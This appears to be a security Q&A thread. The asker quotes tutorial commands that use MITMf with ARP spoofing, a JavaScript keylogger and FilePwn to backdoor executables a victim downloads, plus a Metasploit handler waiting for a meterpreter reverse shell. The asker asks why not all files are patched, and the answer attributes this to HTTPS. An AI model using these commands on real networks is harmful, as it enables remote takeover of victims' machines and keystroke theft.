From this tutorial i found that it is possible using tool MITMf to patch exe files ''victim'' downloads in order to open a meterpreter shell. The commands that have been used are the following:

use exploit/multi/handler

set payloads windows/metepreter/reverse_tcp

set lhost 

set lport 4888 


to open meterpreter and

mitmf -i eth0 --arp --spoof --gateway --target --jskeylogger --filepwn

The problem is that it does not patch all exe files as it mentions in the tutorial too. So the question is which files does it patch and which not??

1 Answer 1


PLease check this issue: https://github.com/byt3bl33d3r/MITMf/issues/280

MITMF use BDProxy to patch files, but it only works with non-ssl connections. Can you check if you are trying to download a file via HTTPS?

Check documentation for more information: https://github.com/secretsquirrel/BDFProxy.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .